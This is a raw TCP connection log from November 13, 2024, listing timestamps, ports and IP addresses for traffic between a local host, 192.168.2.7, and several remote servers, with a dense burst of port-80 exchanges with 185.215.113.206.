Nov 13, 2024 14:41:34.165230989 CET	49910	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:34.175276041 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.176594019 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.179480076 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.179497957 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.179841042 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.180988073 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.181054115 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.181246996 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.182986021 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.183254957 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.183264017 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.184293032 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.184376955 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.185193062 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.185256958 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.185789108 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.185796022 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.195729971 CET	49912	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.195744991 CET	443	49912	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.196774006 CET	49912	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.196779966 CET	443	49912	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.198709011 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.198803902 CET	49878	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.198831081 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.198951006 CET	49878	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.198959112 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.198992014 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.199027061 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.200155973 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.201277018 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.201450109 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.201524973 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.203011036 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.203044891 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.203396082 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.203821898 CET	49924	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.203838110 CET	443	49924	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.207344055 CET	443	49910	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:34.223046064 CET	49906	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:34.223066092 CET	443	49906	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.223355055 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.223997116 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.225143909 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:34.225161076 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.225518942 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.226140976 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:34.226203918 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.226813078 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:34.243330956 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.250750065 CET	443	49909	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.250823975 CET	443	49909	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.250921011 CET	49909	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.251307011 CET	49909	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.251317024 CET	443	49909	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.251334906 CET	49909	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.251339912 CET	443	49909	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.252973080 CET	443	49907	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.253036976 CET	443	49907	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.253146887 CET	443	49907	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.253207922 CET	49907	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.254157066 CET	49907	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.254184008 CET	443	49907	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.254199982 CET	49907	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.254208088 CET	443	49907	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.255299091 CET	49925	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.255322933 CET	443	49925	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.255393982 CET	49925	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.257843018 CET	49926	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.257882118 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.257966042 CET	49926	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.258091927 CET	49925	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.258105040 CET	443	49925	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.258502007 CET	49926	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.258517981 CET	443	49926	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.267328024 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.268713951 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268737078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268752098 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268765926 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268780947 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268793106 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268805027 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268831015 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.268877983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268893003 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268904924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268908024 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.268917084 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.268918037 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268945932 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268956900 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268959045 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.268970013 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268982887 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.268994093 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.268994093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269006968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269016981 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269020081 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269033909 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269062996 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269103050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269515991 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269530058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269567013 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269613028 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269624949 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269660950 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269695044 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269696951 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269710064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269721985 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269733906 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269751072 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269759893 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269771099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269783020 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269783974 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269798040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269813061 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269813061 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269833088 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269853115 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269865990 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269877911 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269877911 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269891977 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269898891 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269908905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.269932985 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269963980 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.269984007 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270009041 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270020962 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270032883 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270044088 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270052910 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270060062 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270071983 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270081997 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270085096 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270096064 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270108938 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270118952 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270127058 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270133972 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270142078 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270152092 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270167112 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270180941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270189047 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270193100 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270205021 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270216942 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270257950 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270281076 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270319939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270333052 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270344019 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270354986 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270360947 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270366907 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270378113 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270386934 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270391941 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270406008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270416975 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270427942 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270428896 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270442009 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270452976 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270463943 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270466089 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270479918 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270490885 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270493031 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270513058 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270534039 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270570040 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270581961 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270591974 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270603895 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270610094 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270617008 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270627975 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270639896 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270647049 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270652056 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270675898 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270683050 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270694017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270708084 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270718098 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270744085 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270771980 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270785093 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270797014 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270808935 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270809889 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270822048 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270834923 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270845890 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270864010 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270869017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270884037 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270896912 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270905972 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270909071 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270915031 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270921946 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270935059 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270947933 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270961046 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270962954 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.270972967 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270986080 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.270997047 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271007061 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.271008968 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271023989 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271035910 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271035910 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.271049023 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271051884 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.271061897 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271080017 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271089077 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.271102905 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271116018 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271125078 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.271127939 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271140099 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.271146059 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.271188974 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.296658993 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.310689926 CET	49927	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.310709000 CET	443	49927	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:34.310817003 CET	49927	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.311007023 CET	49927	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.311018944 CET	443	49927	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:34.325357914 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.325426102 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.325629950 CET	49878	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.334187984 CET	443	49912	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.334244967 CET	443	49912	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.334502935 CET	49912	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.335511923 CET	49928	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.335540056 CET	443	49928	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:34.335634947 CET	49928	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.336309910 CET	49928	443	192.168.2.7	51.132.193.105
Nov 13, 2024 14:41:34.336325884 CET	443	49928	51.132.193.105	192.168.2.7
Nov 13, 2024 14:41:34.359690905 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.359700918 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.359795094 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:34.359810114 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.360085964 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.360142946 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:34.370506048 CET	49929	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:34.370541096 CET	443	49929	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:34.371340036 CET	49929	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:34.372678995 CET	49929	443	192.168.2.7	20.125.209.212
Nov 13, 2024 14:41:34.372699022 CET	443	49929	20.125.209.212	192.168.2.7
Nov 13, 2024 14:41:34.412564993 CET	49878	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.412564993 CET	49878	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.412590027 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.412614107 CET	443	49878	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.419234037 CET	49912	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.419253111 CET	443	49912	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.419291019 CET	49912	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.419296980 CET	443	49912	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.419615030 CET	49913	443	192.168.2.7	13.107.246.57
Nov 13, 2024 14:41:34.419651985 CET	443	49913	13.107.246.57	192.168.2.7
Nov 13, 2024 14:41:34.513231993 CET	49930	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.513273001 CET	443	49930	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.513386011 CET	49930	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.514866114 CET	49931	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.514905930 CET	443	49931	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.514972925 CET	49931	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.515332937 CET	49930	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.515346050 CET	443	49930	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.516453981 CET	49931	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:34.516479015 CET	443	49931	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:34.516977072 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:34.625744104 CET	443	49910	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:34.625757933 CET	443	49910	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:34.625828981 CET	443	49910	23.96.180.189	192.168.2.7
Nov 13, 2024 14:41:34.625864029 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.625890017 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.625906944 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.625917912 CET	49910	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:34.625917912 CET	49910	443	192.168.2.7	23.96.180.189
Nov 13, 2024 14:41:34.625978947 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626010895 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626064062 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626220942 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626238108 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626245022 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626255035 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626271963 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626282930 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626285076 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626295090 CET	443	49915	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626298904 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626318932 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626328945 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626352072 CET	49915	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626365900 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626396894 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626415014 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626446009 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626596928 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626614094 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626657963 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626673937 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626688004 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626694918 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.626710892 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.626746893 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.627104044 CET	443	49916	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627141953 CET	49916	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.627274036 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627368927 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627413034 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627446890 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.627485037 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627506971 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.627536058 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.627541065 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627578020 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627608061 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.627624035 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627629042 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.627650023 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627691031 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.627734900 CET	443	49914	104.117.247.123	192.168.2.7
Nov 13, 2024 14:41:34.627800941 CET	49914	443	192.168.2.7	104.117.247.123
Nov 13, 2024 14:41:34.628370047 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:34.629565001 CET	443	49919	23.198.7.166	192.168.2.7
Nov 13, 2024 14:41:34.629923105 CET	49910	443	192.168.2.7	23.96.180.189
